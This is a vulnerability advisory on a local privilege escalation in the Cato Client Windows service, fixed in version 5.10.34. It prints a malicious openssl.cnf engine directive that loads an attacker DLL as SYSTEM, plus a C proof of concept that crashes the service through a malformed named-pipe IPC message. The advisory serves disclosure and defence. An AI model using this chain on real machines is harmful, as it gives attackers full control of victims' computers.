Cato Client - Local Privilege Escalation via Self-Upgrade (CVE-2024-6974)
The Cato Client was found to use an insecure temporary folder for downloading and processing updates.
Read ArticleThe OpenSSL implementation in the winvpnclient.cli.exe
service executable is configured to load an openssl.cnf
file from a location that does not exist, in the context of the NT AUTHORITY\SYSTEM
account.
Providing that there is not already a folder named Work
in the root of the C:\
drive, a directory structure can be created that forces the service executable to load a user controlled OpenSSL configuration whenever the Cato service makes a web request. For example, when clicking the authenticate button.
The engine
section in an OpenSSL configuration file allows an arbitrary DLL to be loaded into the calling process, which in this instance allows arbitrary code execution as SYSTEM
.
Privilege escalation to SYSTEM
provides complete control over the machine.
Windows Client version 5.10.26, and below.
The screenshot below shows the service attempting to load an OpenSSL configuration file during authentication, after a fresh service restart:
As shown in the screenshot, the service attempts to load an OpenSSL config file from the following path (which does not exist):
C:\Work\WinVPNClient\ThirdParty\openssl\openssl-3.1.1\VS2022\SSL64\openssl.cnf
As documented in the OpenSSL docs, there are various fields which can be passed within an openssl.cnf
configuration. However, of interest to an attacker is the engine
option, which allows the user to specify an arbitrary “engine” to be used. As described here, the Engine API provides an interface for “adding alternative implementations of cryptographic primitives”, and has since been superseded in OpenSSL 3.0 by the Provider API.
From an attacker perspective, this feature essentially allows us to provide a path to an external library where OpenSSL will attempt to load the specified engine DLL from. If a local attacker writes a config file containing a malicious engine
directive, then they can gain arbitrary code execution when the engine is loaded.
Creating a directory structure and putting the following content into the openssl.cnf
file abuses the ’engine’ function to dynamically load a DLL into the process.
openssl_conf = openssl_init
[openssl_init]
engines = engine_section
[engine_section]
woot = woot_section
[woot_section]
engine_id = woot
dynamic_path = c:\\work\\openssl.dll
init = 0
Restarting the service and attempting to establish a connection by hitting the Connect (power icon) button on the home screen results in the OpenSSL configuration being loaded, followed by a Load Image event on the specified DLL.
The attempt to load the openssl.cnf
file is only performed once per service instance, so a restart of the service is required in order to force the configuration to be loaded. As the service DACL specifies that low privileged users cannot stop or start the service, either a system restart or a crash of the service is required.
As a low privileged user, it is possible to send a MigrateCredentials
IPC message to the service in order to cause an unhandled exception, resulting in the termination of the winvpnclient.cli.exe
service executable. The majority of the time, the service appears to gracefully restart, allowing the exploit to be completed.
Client to server IPC calls are handled by the CatoNetworks.ServiceCommunication
class in the CatoCommon.dll
.NET assembly (previously the CatoNetworks.Model.ServiceCommunication
class in CatoClient.exe
for earlier versions), which serialises various pre-defined objects using ProtoBuf and sends them to the service over a named pipe (named cato-VPN
).
The MigrateCredentials(int, Credentials)
function creates a Credentials
object that is used to populate a C2sMigrateVPNCredentials
object before being passed to the generic SendCommand(ClientToService)
function, which performs some logging and converts the ProtoBuf message to a byte array:
public bool SendCommand(ClientToService protobufMsg)
{
string str = ServiceCommunication.ClientMessageToStringCensored(protobufMsg);
bool condition = ServiceCommunication.m_TraceSwitchServiceCommunication.TraceInfo;
if (protobufMsg.Cmd == ClientToService.Types.Commands.QueryVpnstate)
{
condition = ServiceCommunication.m_TraceSwitchServiceCommunication.TraceVerbose;
}
Log.WriteLineIf(condition, "Sending " + str);
return this.SendCommand(MessageExtensions.ToByteArray(protobufMsg));
}
This then hands off to the identically named SendCommand(byte[])
, which connects to the Cato-VPN
named pipe and sends the ProtoBuf message:
public bool SendCommand(byte[] data)
{
if (data.Length >= 16384)
{
Utils.ShowMessageBox("SendCommand", string.Format("Message can't be send to service due to length limit:\n{0} instead of {1}", data.Length, 16384), "Service communication error", MessageBoxButtons.OK, MessageBoxIcon.Hand);
return false;
}
try
{
if (!this.namedPipe.IsConnected)
{
Log.WriteLine(ServiceCommunication.m_TraceSwitchServiceCommunication.Description + "Message can't be sent to service since pipe is not connected");
return false;
}
this.namedPipe.Write(data, 0, data.Length);
this.namedPipe.Flush();
}
catch (Exception ex)
{
Log.WriteLineIf(ServiceCommunication.m_TraceSwitchServiceCommunication.TraceError, ServiceCommunication.m_TraceSwitchServiceCommunication.Description + "SendCommand:" + ex.Message);
return false;
}
object obj = this.mSyncObj;
lock (obj)
{
this.mRetrysCount += 1L;
}
return true;
}
The connection to the IPC service from the client is handled in the ServiceCommunication.SendHello()
function. Following a successful connection to the Cato-VPN
named pipe, it immediately sends a UiRegister
message via the ServiceCommunication.SendRegisterCommand()
function, which in turn uses the SendCommand(ClientToService)
function to actually send the data.
The service component expects to receive this UiRegister
command before processing any other messages. If the MigrateCredentials
message is sent prior to the UiRegister
message, then an internal structure is not initialised properly, and the service attempts to access a near-null memory address, causing an unhandled exception.
As a proof of concept, the following program was created, which simply connects to the cato-VPN
named pipe and sends a MigrateCredentials
IPC message, without sending a UiRegister
message first.:
#include <windows.h>
#include <stdio.h>
#include <cstdint>
#define PIPE_NAME "\\\\.\\pipe\\cato-VPN"
#define COMMAND_ID_MIGRATE_CREDENTIALS 0x04
// MigrateCredentials IPC message (ProtoBuf encoded)
BYTE message[] = {
0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10,
COMMAND_ID_MIGRATE_CREDENTIALS,
// REST OF MESSAGE REMOVED
};
int EncodeVarint(uint64_t value, uint8_t* buffer) {
int count = 0;
do {
uint8_t byte = value & 0x7F;
value >>= 7;
if (value != 0) {
byte |= 0x80;
}
buffer[count] = byte;
count++;
} while (value != 0);
return count;
}
uint64_t GetTimestamp() {
FILETIME ft;
GetSystemTimePreciseAsFileTime(&ft);
ULARGE_INTEGER uli{};
uli.LowPart = ft.dwLowDateTime;
uli.HighPart = ft.dwHighDateTime;
return (uli.QuadPart - 116444736000000000ULL) / 10000;
}
int main() {
HANDLE hPipe;
DWORD dwBytesWritten;
uint64_t t = GetTimestamp();
uint8_t varint[10];
int size = EncodeVarint(t, varint);
memcpy(&message[1], varint, size);
hPipe = CreateFileA(PIPE_NAME, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
if (hPipe == INVALID_HANDLE_VALUE) {
printf("Failed to connect to named pipe. Error code: %d\n", GetLastError());
return 1;
}
if (!WriteFile(hPipe, message, sizeof(message), &dwBytesWritten, NULL)) {
printf("Failed to write to named pipe. Error code: %d\n", GetLastError());
CloseHandle(hPipe);
return 1;
}
printf("Sent %d bytes successfully\n", dwBytesWritten);
CloseHandle(hPipe);
return 0;
}
Checking the logs in C:\Program Files (x86)\Cato Networks\Cato Client\cato_vpn_<VERSION>_<TIMESTAMP>.log
shows the unhandled exception.
08/04/24 08:19:09.978 [E] [UEH ] [0F34:12A4] [unhandledExceptionFilter : 54] [:] [:] [FATAL: Thread ID 4772: Unhandled exception code 0xc0000005 at address 0x00007FFC915C7820
08/04/24 08:19:09.982 [E] [UEH ] [0F34:12A4] [unhandledExceptionFilter : 69] [:] [:] [Access violation attempting to write memory at address 0x0000000000000048
08/04/24 08:19:09.982 [E] [UEH ] [0F34:12A4] [unhandledExceptionFilter : 74] [:] [:] [Memory dump in file C:\Program Files (x86)\Cato Networks\Cato Client\winvpnclient.cli.exe_3892.dmp
With the service restarted, it can be instructed to make a HTTP request (for example by sending the SendUploadLogsCommand
IPC message), resulting in the loading of the DLL specified in the OpenSSL configuration file. As a proof of concept, a DLL was used that simply starts an instance of cmd.exe
, running with SYSTEM
privileges on the current user’s desktop:
Install version 5.10.34, or later.
The Cato Client was found to use an insecure temporary folder for downloading and processing updates.
Read ArticleThe Cato Client allows a low-privileged, local user to install arbitrary Root CA Certificates in the computer’s certificate store.
Read Article